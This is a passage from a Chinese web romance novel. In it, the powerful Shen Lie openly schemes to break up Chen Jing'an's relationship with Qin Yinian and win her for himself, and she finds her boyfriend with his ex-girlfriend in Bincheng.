“是以前问太少,我还不习惯,”秦宜年给她夹菜,“我提的分手,我知道你在想什么,我跟她已经分了好几年,结束就结束,永远也没可能。” “在我这里,谁都比不过你。” 陈静安握紧筷子,凝视着他面容,恍惚间觉得那位雪天从口袋里掏出暖水袋的少年还在,她心略安定些,重重点了下头。 秦宜年展眉,道:“今天晚上陪我参加个商务活动,我大哥在,我想让你们先见面。别看他是个商人,身上还有点文艺特质,他肯定很喜欢你。” “只要将大哥拉入阵营,我们的事也就成了一半。” 陈静安迟疑:“还是算了吧,以后再说,我还没做好准备。” “什么时候才能准备好?这事你听我的,我大哥人不错,到时候你要觉得不舒服,我们提前走。” 陈静安看着他笃定的神色,想了会,最终点头同意。 总是要到这一步,不是吗? — 如果陈静安提前知道沈烈也会在,她就不会来了,但秦宜年已经牵住她手,两人站定,迎着秦元明与沈烈的目光时,这件事就已成定局。 场面与秦宜年设想也有所出入,不适也只是一瞬,顾不上多想,便向秦元明介绍:“大哥,这是静安,陈静安,我跟你提过的。” 又转向陈静安:“静安,这是我大哥。” 提过,但没提会在今晚介绍。 秦元明擅长交际,有面面俱到的妥帖,朝陈静安伸手:“陈小姐,你好,秦元明,听他提许多次,这次终于见到本人。” “大哥好。”陈静安回应,她感觉到沈烈的目光,感觉不太好,漆黑眸底下,或许藏有几分揶揄意味。 秦元明主动介绍起沈烈,刚开口,身侧那位淡淡开口:“认识。” “沈总跟陈小姐认识?”秦元明有些意外。 陈静安看向沈烈的目光平静:“见过几面。” 沈烈似笑非笑。 秦宜年伸手掌上陈静安肩膀:“这件事说来话长,我还没得及感谢沈总前几天的帮忙,静安跟我说了,说很谢谢您。” “小事。” “在沈总看来或许是小事。”秦宜年不咸不淡道。 沈烈眸光闪动,略有停顿,问:“滨城那边发来反馈,对秦二少赞不绝口,赞他尽心尽力,往来奔走,忙的不可开交。” “应该的,阿年资历尚浅,多花些心思是应该的,也多亏沈总赏识,他现如今才有点样子。”秦元明笑道。 秦宜年听不得自家大哥对沈烈的恭维,但如今受人恩惠,再不乐意也不能表现出来。 陈静安若有所思。 思绪一时出神,余光闪过冷光,她定睛细看,沈烈抬手慢条斯理地整理着袖口,而袖口位置分明别着她跟阮灵送的那枚袖扣,机械设计,小巧精致,小手指腹摩擦过边缘。 缓慢的,有意无意的,陈静安呼吸一滞,她想不到他真会佩戴吗,那并没有多贵重,至少在出席这样的正式活动里,它似乎略显寒酸。 “这么忙,秦二少有时间陪女朋友吗?”沈烈问。 这问题转的突然,另外三人都有不同程度的错愕,秦宜年则扣紧西装外套,看向陈静安:“还行,我们静安一直善解人意,很支持我的工作,虽然忙起来时有照顾不到的地方,她也从不生气。” “秦二少有位好女友。” “我也这么认为。”秦宜年对陈静安一向满意,乖顺懂事又不黏人。 沈烈笑了。 不知为何,沈烈每一句话都能让陈静安心惊肉跳,在那副懒洋洋斯文雅致的皮囊下,藏着不可名状的坏意,垂眼,抬眼,亦或只是细微扯动的唇线,都能成为释放坏意的信号。 秦元明叫来服务生,放下酒杯:“沈总,介意我跟阿年单独说几句话吗?工作上有些事要交代。” “请。” 秦宜年捏捏陈静安的手:“等我,很快就回来,你别乱跑走丢了。” “好。” 陈静安勉力一笑。 两人离开,就只剩下沈烈与陈静安,她在秦宜年身影彻底的消失收回,与沈烈的目光不期而遇,她突然不知以什么身份又是什么立场面对他,见过几面的陌生人,得过他帮助的陈静安,或者只是秦宜年女朋友。 “抱歉,我去下洗手间。”不知怎么面对,索性就不要面对,陈静安随口诌了个理由。 “陈小姐。”沈烈叫住她。 陈静安顿住脚步,甚至能搭感知到背部每一块骨头的僵硬,她闭眼,不情不愿,认命般转身,脸绷得紧紧的:“沈先生有什么事吗?” 沈烈看她。 身上的礼服新的,该是出自秦宜年之手,淡绿色,面料轻薄如面纱,里面有同色系内衬,透却不漏,像是江南烟雨时节里陇起的雾气,抹胸设计,肩颈肌肤雪白如脂,耳垂掉着一粒珍珠。 双眸明亮,同样看着他。 沈烈扯唇轻笑,抬手指着相反的方向:“洗手间在这边。” “……” 陈静安握紧手指,暗自懊恼,定了定,才道:“谢谢。” 说完,提裙快步离开,走得着急,却又踩着不怎么常穿高跟快不了,几乎落荒而逃,却又致命般听到身后一声愉悦的笑声。 — 中途,秦宜年去了趟洗手间,洗手时,才注意到身边人是沈烈,他不愿又不得不主动打招呼问候。 秦元明跟他说了很多,讲清楚现如今秦家的现状,没有沈家的百年根基,也有没有新贵的汹涌劲头,既然是夹缝求生,必定得左右逢源,如今秦家背靠沈家这棵大树,多少人求不来的,他就该知道自己该说什么做什么,而不是在今天,莽莽撞撞要介绍自己小女友。 幼稚又可笑。 他不乐意,但也听进去几句。 秦宜年主动跟他说起滨城的项目,适当提及秦家在这一环节起到不可或缺的作用,有想要做更多事的意思。 沈烈洗净手,抽纸擦拭水渍,从洗手间的镜子里看他,一张脸被冷暖光分割开,有不动声色城府:“秦二少变了不少。” 这话落在秦宜年这有讽刺意味,他面色有些难堪,但还是隐忍不发:“毕竟谁也不能一成不变。” “也是。”语气淡淡。 手机在不合时宜响起,看清楚是谁打的,秦宜年皱眉挂掉,没几秒,又打了过来,大有他不接就一直打下去的意思。 “不接?” “也不是什么要紧事。”秦宜年再次挂断。 沈烈将纸团成团,随手丢进垃圾桶:“如果是工作上的事呢?” “抱歉。” 电话再一次打来,秦宜年沉着脸摁了接听,他本憋着火,甚至想直接断了两人之间的关系,却听那边女声问:“你什么时候回滨城?我不是催你的意思,只是想要问具体时间。” “有事?”秦宜年冷淡回。 沈烈抬眼,从镜子里看他一眼,收回视线,抬步走了出去。 “也不是什么大事,你还记得我给你画过的素描吗?挺多张一直吃灰不敢看,今天突然想起去阁楼取,摔下来,小腿骨折,打了石膏,想问如果你方便,回来时能来接我出院吗?” “对不起啊,我一时也想不到还能有谁。” 徐若晴语气轻飘飘,也淡然,好似摔伤的人不是自己。 秦宜年动了恻隐心:“你怎么不早说?你现在在医院?身边有人吗?” “你不是不方便吗?也不是什么大事,我一直这么过来,只是这次是摔伤腿行动不便。” 秦宜年捏着鼻梁,想很久,到底忍不下心:“你等着,我今晚回来,医院地址发给我。” “不用了。”徐若晴拒绝,“你就这样抛下她,她难免不会察觉到点什么。” “她不会。” 陈静安信任他,也不会因为这种事闹不愉快。 挂完电话,秦宜年出去,面不改色跟陈静安说滨城那边有突发状况,他作为主要负责人之一需要马上回去。 “很着急吗?” “很紧急,我也不想,但我真没办法。静安,对不起。” 陈静安看着他的目光,或许以往她会点头,告诉他不要担心放心去做事,但这段时间发生事情不少,她没办法做到像以前那样笃定,她隐隐觉得不对劲,轻声问:“可以不去吗?” 秦宜年笑:“怎么了?你平时都很支持我工作的,我保证,忙完这阵就回来多陪陪你。” 陈静安低了下头,再抬眼时,脸上已有强撑的笑意:“好,你走吧,我自己打车回学校。” “我送你。” “不用。”陈静安语气坚定,“不是很紧急吗?” 秦宜年看眼时间,再送陈静安的确很容易赶不上航班,他只好匆匆在她额头上吻了下,让她到校给自己打电话。 “好。” 陈静安早已掉进谷底。 陈静安没打车,她思绪乱的很,在门口吹会儿风,低头看手机,搜索着最近的地铁站,六百米,距离不算远,她打算走过去,吹吹风调整情绪也好。 她收好手机,没走两步,一辆车缓缓开过来,副驾驶的车窗摇下来,出现一张熟悉的脸:“陈小姐。” 是纪弘。 车停,纪弘下车,问她怎么一个人,又是去哪? 陈静安勉强笑笑:“我回学校。” “时间不早了,您这样也不安全,这样吧,如果您信得过,上车,我送您。”纪弘长相端正,又具备亲和力,很正派。 “不用了,太麻烦您了。” “不算麻烦,活动一时半会也不会结束,沈总也用不到车。” 陈静安没说话,甚至咬了下唇,纪弘以为有被说服的迹象,还想继续劝说时,陈静安透亮的目光凝视着他的眼睛,微微一笑,气质恬淡:“纪先生,公车还可以私用吗?” 纪弘一时诧异,忘了该说什么。 “也许是沈先生面慈心善,所以纪先生可以决定他的用车时间。”声线干干净净,平静,镇定。 “陈小姐……”纪弘第一次体会什么叫温柔刀。 陈静安:“因为时间久了一些,没有一开始认出纪先生,那天的雨伞,是纪先生给的吧。” 纪弘头皮发紧发麻。认出并没什么,他既然出现在陈静安眼前,就知道会有认出的可能,只是在现在,在这里,结合前两句,他却觉得反常。 他在想,该回答是,还是不是。 “他不过是听人办事,何必为难他。”沈烈闲适地开口,眉峰轻挑,原来兔子也会咬人。 “我能为难谁?为难您吗?”陈静安眼波沉定,清泠泠的,像清晨秋霜。 “你可以试试。”沈烈大有配合的意思。 陈静安面不改色:“从来也只有您为难别人的份,沈先生,我只是想问问您有什么用意?” 不对劲,一切都不对劲。 她分明看到风暴,感知它就在眼前,但看不到更触碰不到,她甚至不知道风暴中心里,到底意图何为。 沈烈仍站立没动,居高临下,睥睨着她,像他这种生下便是上位者的天之骄子,天生缺乏怜悯心,也许他们并们并无恶意,像人类绝不会关心蚂蚁的思想,他们的恶意,也是一早就被赋予的。 陈静安身心俱疲,精疲力竭,她情绪很不好,她的教养不足以让她克制。 “沈先生,你到底想要干什么?” 沈烈眼皮也未掀:“要你。” “陈静安。” “我要你。” 陈静安犹如惊魂:“你疯了!” 9. 第9章 疯了吗? 沈烈倒不这么认为,他一向如此,既然想要,就该得到,他不关心过程,只在乎结果,论迹不论心,他只要达成目的。如果有必要,他不介意再做点什么。 陈静安紧盯着他,柳叶远黛眉,脸上神情清冷又孤傲,胸口剧烈起伏,怕又警惕,泛红又执拗咬到发白的唇,表明她情绪不佳。 沈烈并不在意:“看来今晚并不适合聊天。” “纪弘,无论陈小姐是否同意上车,或者想自己打车,你都要亲眼见到她完好无损回校。” “好,沈总放心。” 纪弘再次伸出手:“陈小姐,请。” 陈静安气到唇发颤,她再怎么绷直肩颈,也不过是虚张声势的空壳,这空壳在沈烈转身只留下一个背影时瞬间卸力,她是被放气的气球,以肉眼可见的速度瘪下去,再无半点生气。 如墨夜色如一张密织的大网,早在她还没有察觉时便已套下来。 陈静安恢复镇定与平日里礼貌,跟纪弘说自己不上车,转而打车回校。后视镜里,那辆宾利一直紧跟,她闭上眼,当自己没看见。 后来回想,或许一切早有迹可循。 为什么秦宜年会突然被调往滨城,在这之前,沈烈从未搭理过秦元明的示好,时间点巧合到反常,然后是老师,再是室友,那么跟秦元明见面呢……她不知道这里面有沈烈几分手笔,但光是一个设想,就已经令她胆寒。 一个人怎么可以,怎么能,算计到这种程度?! — 周正卿在周五出院。 陈静安已经办好出院手续,医院的东西不多,带回去也没用,就将牙刷等小物件打包好。有病人家属看陈静安忙来忙去,夸周正卿有个好女儿,师徒俩对望一眼,都笑了,周正卿抬眉:“可不是,我女儿,优秀吧?” “优秀,长得也漂亮,有没有男朋友?” 周正卿看对方一副介绍对象的架势,摆摆手,说先走啦。 出院,周正卿心情显然很好,闻闻外面的空气,感叹总算没了消毒水味道。路上问起陈静安为下场演出练习的怎么样,她天赋好,又静得下心刻苦练习,他倒是不担心:“只是这段时间都要靠你自己了。” “老师您呢就负责好好修养,后方稳定,前方安心。” 周正卿笑笑。 陈静安低眉,似无意提及:“老师,您是从小看着沈烈长大的吗?” “怎么突然这么问?” “只是有些好奇。” 周正卿拧起眉认真想起来,然后摇头:“不是,其实说起来我跟他二叔更熟,他二叔这个老东西算我半个粉丝,也算是半个行家,我们相交三十多年。况且沈烈从小跟着母亲在国外念书,后来才回国。” “他这次对我照顾倒让我有些意外,想必也是因为他父亲跟二叔的嘱托。是个不错的青年,优秀也谦和。” 陈静安只是点头,优秀或许是,谦和却不可能。 她这几天睡得不好,总做噩梦,猛见被恶狼追,被虎扑,被猎狗紧咬不放,半夜惊醒,惊出一身冷汗,惊魂稳定间,猛地想起那晚沈烈说的“我要你”,漆黑眸光,是势在必得的猎食者,她突然觉得噩梦也没那么可怕。 也是同一个周末,阮灵见陈静安这几天心不在焉,便想要邀她出去逛逛,吃点好吃的,见见人,晒晒太阳,或许心情能好些,她以为陈静安是因为异地恋跟秦宜年闹别扭,主动开解几句,说异地恋更要沟通,有什么事不能一个人憋在心里。 陈静安笑容发苦。 她跟秦宜年的问题,大概不是沟通就能解决的,她想主动问,他却不可能摊牌,场面难堪,这几年像笑话。 阮灵中途接了个电话,喜笑颜开,小女生一般,挂完主动向陈静安坦白:“是上次酒店的男生。” “你们在一起了?”陈静安隐约有些印象,个高皮肤白。 “还没,不过应该快了。”阮灵吐了下舌头。 陈静安点头,只叮嘱让她再多留意考量,阮灵点点头,也不想继续聊这个问题,突然想起什么:“你知道吗?原来他跟沈烈是认识的,太巧合了,我跟他说好可惜,只隐约记得是个帅哥,结果没看清楚长什么样。他说下次带我再见见。” 阮灵自顾自道:“不过也正常,有钱人之间认识也不奇怪。” 陈静安怔住。 她突然记起来阮灵跟自己说,在酒吧没听见手机来电,后来关机应该是被不小心摁到,她喝醉了,什么都记不清。 如果,手机是被人刻意关掉呢。 而这个人,刚好跟沈烈认识。 明晃晃的太阳,下午两三点,分明是一天中最高气温,陈静安站立在原地,身边的学生来来往往,从她身边穿行,如电影镜头里的虚影,她头晕目眩,只觉得身处地窖,满背生出刺人的寒意。 阮灵察觉到她的异常,问:“静安,你是不是不舒服?” 陈静安握住她的手,手指冰凉,她极力保持镇定,看向阮灵:“是有些不舒服,我想回宿舍休息。” “好,回宿舍,要不要我去医务室给你买药?” “不用,大概血糖低,休息会就好。” “好吧,你要是不舒服,一定要跟我讲!”阮灵再三强调。 陈静安在宿舍待了一整天,也想清楚了些,就算沈烈当真权势滔天又怎么样,如今这社会,他还能真做到只手遮天吗?她不愿意,任何人都强迫不了她。 至于秦宜年,如果真逾越了底线,也不过是分手,离开谁都能继续。她会继续往前走,她有琵琶,有老师,有父母,她会站在越来越大的舞台,再回头时,这一切都是过眼云烟。 她自我安抚,自我镇定,抱着琵琶,在练习室连续泡好几天,乐音治愈人心,她感觉自己没开始的浮躁。 至少在再次听到沈烈名字的前一星期如此。 — 阮灵正经历段新感情,经常外出,回宿舍时,陈静安难得也在,她这几天一直在练习室,现在端坐在桌前,电脑屏幕里放着电影,凑近看,看到演员,才注意到她看的是部老电影,画面里女主演奈特莉的绿色长裙,美到不可方物。 陈静安有些出神,并没真看进去。 “怎么了,这两天就觉得你脸色好像不太好,是不是生病了?”阮灵探她的额头,体温正常,脸上却没什么血色。 “没事。” 阮灵在她身边站定,才道:“静安,有人找你。” “谁。” “沈先生。”阮灵也挺好奇沈烈为什么会找陈静安,在她看来,两个人并无多深的交际,“静安,沈先生为什么找你?” 陈静安面色更白,指尖血液凝固:“他说什么。” 阮灵当时因为拍摄结束后尾款问题,去了对方公司一趟,却被人请去顶层,忐忑间,见到沈烈,这是她第一次看清楚他的样子,跟喝醉后隐约形象瞬间对应,她惊讶到失声,为什么这么有钱还不秃顶? 沈烈让她帮个忙。 阮灵听完更意外:“您找静安?是发生什么事了吗?” “她欠了我东西。” “欠您东西,欠了什么啊?”阮灵好奇发问,实在想不到地位悬殊差距这样大的两人,能有什么债务关系,她想到一处,又很快否定,静安不是那样的人,她绝不会背叛秦宜年。 沈烈抬眼,似笑非笑:“怎么,想替她还?” 阮灵立刻噤声摇头,没敢再问下去。她不敢问沈烈,只好问陈静安:“他说你欠他东西,静安,你欠他什么?” 欠钱?不可能,陈静安家境不说多好,但也富足,她从没见静安在钱上窘迫过。 陈静安看向那把被她束之高阁的雨伞,阮灵也跟着看过去。 “拿把伞是沈先生借给你的?” “嗯。” 阮灵松口气,跟着又笑:“难怪哦,这伞不便宜,有钱也买不到的,难怪人着急,你也早点还回去。” “是该还回去。”早该还回去了。 陈静安在学校快递点,伞已经包好,她甚至填好单号,沈烈司机的电话就打过来,问她晚上有没有课,方不方便出校门,他来拿伞。 “不用麻烦,我直接寄过来。” “陈小姐,这是沈总安排,你别为难我。”司机叹气。 陈静安硬着心肠回为难他的不是自己,想咬牙直接寄出去,司机问:“陈小姐,其实你也知道,有没有这把伞重要吗?” 重要吗? 只要沈烈想要见她,总有各种方式。 “陈小姐,您也别难你自己。” 陈静安沉默半晌,语气冰冷:“九点,超过时间我直接寄过去。” “好的陈小姐。” 九点整,陈静安从校门出去,这几天气温骤降,天气预报上预告着连续三天的大雨,她找出粗线毛衣外套,外套宽松,衬得她身形更瘦,巴掌大小的脸上见不到半点喜色,清冷哀婉,脚步稍重,每一步迈得稍显缓慢。学校门口的灯已经有些年,昏黄的光淡淡笼罩着她,她抬眼,看见路边停靠的车。 车上的标志跟伞上的如出一辙,是雨天那辆劳斯莱斯。 这么多天,倒第一次见。有意或者无意,都不想让她发现。 一辆豪车就这么停靠在校门外,自然而然吸引住不少目光,除非她想一夜成名,她没走过去,越过车,继续往前走,车跟上,学校路段路堵,车速降低到十码,开开停停,倒是跟她行走速度一致。 一人一车,奇异的和谐。 车绕到附近支路停下,这条路通向的地方尚在开发,尘土飞扬,少人少车,沈烈推门下车,两个人之间隔着一步距离,相视的目光幽暗,他却笑:“这是陈小姐对债主的态度。” 陈静安递过伞,客气疏离道:“完好无损,如果沈先生不放心,可以检查看看。” “客气。” 伞是司机拿过的,打开车门,将伞放进去,便走到一边去抽烟,物归原处,一切就就像从未发生过的样子。如果可以,陈静安宁愿那天淋雨,也不愿意接受这把伞。 陈静安仍说谢谢:“谢谢您的雨伞,现在,东西已经归还,请问沈先生,我能走了吗?” “为什么不能,好像我能绑着你?”沈烈笑,“也许能,如果你一直是这样违心同我讲话,没准我愿意破例尝试,得益与陈小姐挑的地方,这里人很少,倒是个好地方。” 他分明一身正装,全身上下熨烫妥帖,没半点碍眼皱痕,看起来体面又斯文,那张脸上挂着温和笑容,眼里有笑意,可就是这副面孔下,嘴里说的却是彻彻底底的混账话。 陈静安想也没想,骂道:“你混蛋!” 笑意加深,沈烈问:“你想再这里聊,还是换个地方?” “我跟你没什么可聊的。”陈静安单抱手臂,在心理学上,既反映出紧张,也是一种自我保护,她仰头与沈烈直视,“沈先生,我有男朋友。” “我知道。” “我跟阿年感情很好,我们会结婚,会组建家庭,生儿育女。” “是么?”沈烈淡淡反问。 陈静安眸光闪动,强撑道:“以沈先生的地位,实在没必要在我身上花时间,我只是普通学生,只想安稳毕业工作,跟其他普通人一样。” “没了?” “……” 陈静安仿佛被刺破般,她强装的镇定与理智也在这一刻化为乌有,她抿唇,倔强又执拗,她看着沈烈:“我知道男性拥有很强的占有欲跟竞争欲,我知道你跟秦宜年之间不合,你们之间的事我管不着,但都跟我没任何关系,我不是东西,我是人。” 不是想要就能要,想丢就能丢的。 沈烈支着眼皮,收敛笑意,路灯照在他脸上,一垂眼,眼睑处便有淡淡的阴翳:“你说秦宜年?” 从出生起,便不是能相提并论的存在,他在思考,这算不算是越级碰瓷。 “你认为我是因为他?” 他笑,陈静安感觉到这笑里有几分笑她的天真。 陈静安没回答,短暂的沉默。 沈烈像突然犯烟瘾,从烟盒里摸出一支烟却没点燃,只是捏在指间,或重或轻的捻着,空气里多了很淡的烟草味,跟点燃的味道不一样,没能得到缓解,他却觉得勾起更深的瘾。 他往前走一步,从光亮处,走到暗处,也更靠近她。 而陈静安是惊弓鸟,本能往后退一步。 沈烈垂眼看她:“第一次见面是在剧院,你不是谁女朋友,不是秦宜年的,谁也不是,你在台上手持琵琶,我甚至不知道你是谁,我二叔问我,你觉得这小姑娘怎么样?我明知故问,问哪个小姑娘。” 他笑,似乎还能记起,她在台上的样子,“我很好奇,为什么那么细瘦的身体,能迸发那么大的能量。第一面便见着有趣,后来再见,才知道你原来是秦宜年女朋友,有些扫兴,但也无伤大雅。” 陈静安一句话也说不出来,瞳孔里倒映着沈烈的影子,他遮挡住所有的光,他与黑暗融合,心脏被攫取,她屏息,仿佛下一秒会溺毙。 “有男朋友也没关系。” 沈烈优雅至极勾勾唇:“毕竟很快就没了。” 10. 第10章 乌云厚重,夜色中,也能清晰感受到它将欲坠下的压迫感,空气因此稀薄,陈静安快感觉呼不出过气来。 沈烈既融入黑暗,也是黑暗本身。 陈静安反倒冷静下来,她梗着脖颈,声线亦有冷意:“那有怎么样呢?” “就算我跟秦宜年分手,沈先生,我们也绝无可能,我知道你身居高位,要什么没有,你大概认为玩弄人很有意思,我却觉得反感恶心,厌恶,是我对你的第一印象,也只会是唯一印象。” “恶心,倒尽胃口。”她从未如此恶毒过。 陈静安仰着脸,感觉到脸上有凉意,一滴雨溅落,她来不及擦拭,有只手比她更快,捏着她的下颚,指腹摁擦着水渍,力道稍重,脸颊软肉陷入,她骇然,对上沈烈漆黑眸光,怀疑他是要掐死自己。 沈烈的神情异常专注,指下的触感细腻,他感知到骨骼,小巧的像是个精巧物件,小巧也脆弱。 他其实并不在意。 喜欢也好,厌恶也罢,无关紧要,他想要的东西,到最后总是能得到,时间问题,他不是等不起。 “下雨了。再不走,就晚了。” 只是一个友好的提醒。 沈烈松开手,又退后一步,退到光亮处,路灯光线里,冷光一闪而过,像找不到方向乱撞的飞蝇。 陈静安仿佛多看他一眼都会做噩梦,转过身,背影果决,很快消失在黑暗里。 但,这场雨下得突然迅速,回宿舍,她还是淋了些雨。 阮灵在宿舍,看到她脸上有没来得及擦干的湿意,碎发黏在额头,唇色泛青,一位是被冷到,拿出干毛巾擦拭,等陈静安洗完澡出来,又泡好感冒冲剂,让她喝下:“最近几天气温骤降,一定要注意防寒保暖,别到时候感冒了。” “谢谢。” “跟我还客气什么呢。”阮灵在旁边坐下,“伞还回去了?” “还回去了。” 阮灵点头,打开电脑:“还回去好,我觉得那位沈先生挺吓人的,在他面前我都不敢怎么说话,跟这种人,还是不要交集的好。” 陈静安握着杯子,将剩余的冲剂一口喝完,唇齿间全是药材的苦味。 — 隔天,陈静安收到一条短信,只有一行字——地址,以及时间。 对方号码不是京城本市,也猜到这大概又是沈烈的手笔,方式简单直接,她盯着那行字看许久,几乎快不认识汉字,最后还是给秦宜年打电话。 电话接通,陈静安谈及自己这几天没什么课,要不要过去看他,秦宜年起初诧异,最后说最近天气不好,出行不便:“你啊,就乖乖等我回来就好,再说你来了我也在工作没办法陪你,你会很无聊的。” “我带着琵琶,不会无聊。” “怎么了?是不是发生什么事情,你以前不会这样的。” 陈静安眨眼:“没事,只是问问,你要是没时间就算了。” “乖,再等几天,我回来陪你。” 陈静安挂断电话,有些东西一旦被打开,就再难关上,她心里已经猜到七八分,但有些事,也只有亲眼看到才死心。 她定好机票,去滨城,阮灵以为她是想念男友,迫不及待今天就走,陈静安呼出口气,跟阮灵说秦宜年很可能有其他人了。 “他劈腿?不可能吧,你们俩感情多好,他多喜欢你啊,静安,是不是有什么误会。” “或许,所以我想过去确认。”陈静安脸色发白。 阮灵站起来,脸色凝重些:“你怎么不早说,这样,我陪你去,要是他真敢做对不起你的事,我替你打他。” “不用,我一个人可以,最差也只是分手。” 从京城到滨城,两个小时的航线,落地时已经是下午。滨城沿海,风大,狂风斜雨,雨伞在这时也丧失作用,陈静安在出租车上,的士师傅听出她不是本地人,问她怎么选这时候来滨城,这不是个好时间。 的确不是好时间。 她刚下车,早撑起的雨伞几乎要被风撕裂,她用力握住伞柄,衣角被吹得猎猎作响,打湿后,又紧贴着皮肤,她猜自己这样子一定很狼狈,她自找的,心甘情愿掉进别人铺好的陷阱。 地址是一间公寓,繁华地段,她收伞躲雨,与嫌雨太大进来躲雨的路人一起,路人跺脚搓手,跟同伴吐槽这雨还要下到周五才停。 等待的过程,异常煎熬,她觉得自己快麻木,所以在看到迎面供撑一把伞走来的男女时,反常的冷静,就像血液早已经不流通,那张脸已经做不出什么其他表情。 她看见秦宜年,没看清楚身边女生的样子,视线模糊成一片,她抬手,才惊觉手心湿透。 两人从她面前走过,走进公寓,收伞,女生依然抱着他的手臂,姿态亲昵,跟任何热恋情侣并无区别。 陈静安开始往反方向走。 雨伞被吹落,她瞬间被浇得湿透,她看着不断被吹走的伞发愣,她往前走一步,伞就被吹得更远。 陈静安往前几步,也累了,突然很想回家,但是不能,她这样子,父母准会担心。多没出息,有点什么事就往家里跑,跟没长大似的。 她抹了把脸,分不清是不是只有雨。 雨势如注,陈静安看到黑色宾利在路边停靠,京城的车牌号,数字漂亮,全京城也找不出几个。 也不奇怪,他应该早就到了,也许看许久的戏。 车窗摇下来,沈烈隐匿在阴影里看不清脸,只丢下一句:“想清楚就上车。” 吐词清晰,在暴雨天也听得足够清晰。 — 车门紧闭,绝佳隔音,只见到雨刷器繁忙工作,听不见雨声。司机递给陈静安新的干浴巾,便升起隔板,隔绝出独立空间,不该听的不听,不该看的也不看。 陈静安全身湿透,T恤紧贴线条,布料打湿后有些透,她知道,仍然脱下外套,拿着毛巾,动作机械地擦脸,擦身体。唇上没什么颜色,被冻得发白,她面无表情,属于这个年纪的生气仿佛被雨水一并浇灭。 沈烈只是冷眼旁观。 “为了秦宜年,将自己弄成样子?”话里有些轻视,他并不能理解。 陈静安继续擦拭,心脏寂然仿佛不会跳动,脑子里一幕幕闪过跟秦宜年在一起的画面,情窦初开,第一次牵手,第一次亲吻,她紧闭眼睛怦怦乱跳的心脏,第一次共吃一份食物,一份饮料,他在夜里,双眸熠亮问她是否愿意跟他结婚,生个宝宝……太多与他有关的记忆。两年,不是两天两个月。 为什么会变成这样?她无法理解。 好久,陈静安才停手,抬眼看他,很平和地跟他对话:“你知道哪个女生是谁吗?” “前车之鉴,还记得吗?” “前女友。” 陈静安仍显得很平静,又问:“也是你找来的,对吗?” 来滨城,遇前女友,哪有什么巧合。 “嗯,”沈烈也不否认,“嗯,不是很难找,穷困潦倒的画家,又受秦家打压,维生都难。对方要价也合理,倒是不错的合作对象。” 事实证明也如此,效果比想象中更好。 这一盘棋时间有些久,但好在,他有耐心,而结果也不错。 听到这里,陈静安想给他鼓掌了,很难再找到像他这样坦诚的混蛋,怎么会有人用如此轻松口吻,说出自己的恶行,就好像,一切理所应当,他更像是做善事。 头上忽然罩上干毛巾,眼前暗下来,她看不见,却闻到木质味道靠近,沈烈倾身过来,一只手跟着放上,手指收紧,腕部用力,他替她擦着仍在滴水的头发,动作生疏,力道也有些过重,湿掉的发丝甩上脸,又被揉开,如此往复。 “听到这里,你大概觉得秦宜年情有可原,多有意思,我只是送他一位前女友,叙旧也好,谈心也罢,我并没附送一张床。” 是,沈烈没有摁着秦宜年劈腿。 前女友随时都可能出现,现在不在,以后呢? 秦宜年不是情有可原,沈烈也并不无辜。 擦了几分钟,他扯下毛巾,她头发弄得乱糟糟,这时候倒略有些歉意笑意,伸手,替她将头发理顺。 陈静安没动,缓慢眨着眼睛,忽然笑了笑,问:“沈先生花了这么多功夫,做出这许多事,值得吗?” “值得我用心的并不多。”沈烈停顿,“你是一个。” 陈静安缓慢点头,她想肆意笑一场,面部肌肉却紧绷僵硬,她努力调度,也没办法牵动肌肉。她眼里也无笑意,里面,只有恨意。 图什么呢? 她有什么呢,这身皮囊? 陈静安了然,她低头,胸口已经隐约透出文胸的形状,她捏着衣角往上拽起,轻易脱掉,随手丢掷在脚边,皮肤瓷白细腻,四目相对,她仿佛没有羞耻心,手臂下垂,手指碰上纽扣,解开,然后是拉链。 腰肢纤细,雪白,小腹平坦紧实,线条清晰,弧度赏心悦目…… 湿衣服堆到脚边,她弯唇浅笑:“沈先生,这不就是你想要的吗?” 11. 第11章 车里的暖气开得很足,并不冷。车内载灯照在瘦削两肩,皮肤透亮,能隐约见细小血管,陈静安笑容不自然,透着僵硬,面颊上是不正常的红,宛如壁画中少女,恬静又哀婉。 沈烈面无表情看她做完这些。 意料之外,在她身上,又觉得情理之中。 “不脱了?”沈烈问,他凝视着她的眼睛,目光不曾偏颇半分,语气也很淡,他像旁观者,观看完整出剧,只是问还继续演吗? 陈静安睫毛颤抖,神色也没变,手臂曲起绕到身后,手指碰触到内衣扣吗,她尚未开始下一步动作,带着淡烟草味的外套套上来,眼睛在这会仿佛才聚焦,眉头轻皱,她不是很懂他。 不是想要吗?这时候装君子,装得再想,也无法掩盖他斯文败类的事实。 忽然,冰凉的指尖轻点上左胸口的位置,轻扣两下,好似多礼貌,沈烈笑,“肤浅了不是,爷要夺的是这。” 这种事,他不屑于用强。 陈静安扯唇,言语讽刺:“你不行?” “我就是再行,对着你现在这样子也行不起来。”沈烈提着外套两肩,将她彻底裹在宽大的衣物下,“你着急献身,也要等酒店,我也不是一点不挑。” “倒是没看出来,沈先生对这种事还有讲究。” 沈烈也不生气:“以后你就知道。” 语气有股子惫懒劲儿。 陈静安抿唇不再说话,她偏过头,呆呆看窗外街景,她的伞早已吹得不知所踪,地面上一滩水迹,雨点密集,激起一圈一圈涟漪。 车开始开动。 陈静安问:“去哪?” “去医院。”沈烈停顿,语气有讽刺意味,“帮你挂眼科,眼光不好,也不是什么好事。” 为了个秦宜年,也至于失魂落魄成这样子。 “……” 她就不该问的。 车的确是开到医院,挂的却不是眼科,是急诊科,下车前,他从后备箱拿出纸袋,里面是一条裙子让她换上。陈静安见过医生,量完体温,她才知道自己发高烧,输液吃药都可以,沈烈听完,直接提出住院。 “我不住院。”陈静安想也没想否决掉。 沈烈已经让司机去办。 泥人也有三分脾气,陈静安拧眉,要去叫住司机,沈烈直接抓住她的手,抬起贴上她自己的额头:“知道自己烧成什么样吗?外面这么大雨你想去哪,还是你想跟我住酒店。” 住病房还是住酒店,陈静安选择病房。 到底是在医院,她不相信沈烈会胡来。 最后选择输液,陈静安躺在病床上感觉到累跟难受,护士小姐找血管,插针时看到她拧眉,还以为扎疼她,温声说着抱歉,她说没关系,情绪却在胸腔翻滚,她不想说一句话,侧躺下,背朝着沈烈坐下的沙发区,盖上被子,企图将自己隔绝出一个世界。 因为高烧,大脑烧得昏沉,她就这么睡了一觉,醒来时才注意到药瓶已经换掉,四肢睡到酸疼乏力,她听见键盘的敲击声,挪动身体,余光里,沈烈在处理工作。 沈烈眼皮也未抬:“醒了就喝水吃点东西。” 食物已经买好,放在保温袋里,她移开视线,嗓音干干的:“我不吃,没胃口。” 沈烈也并不坚持,随她的便。 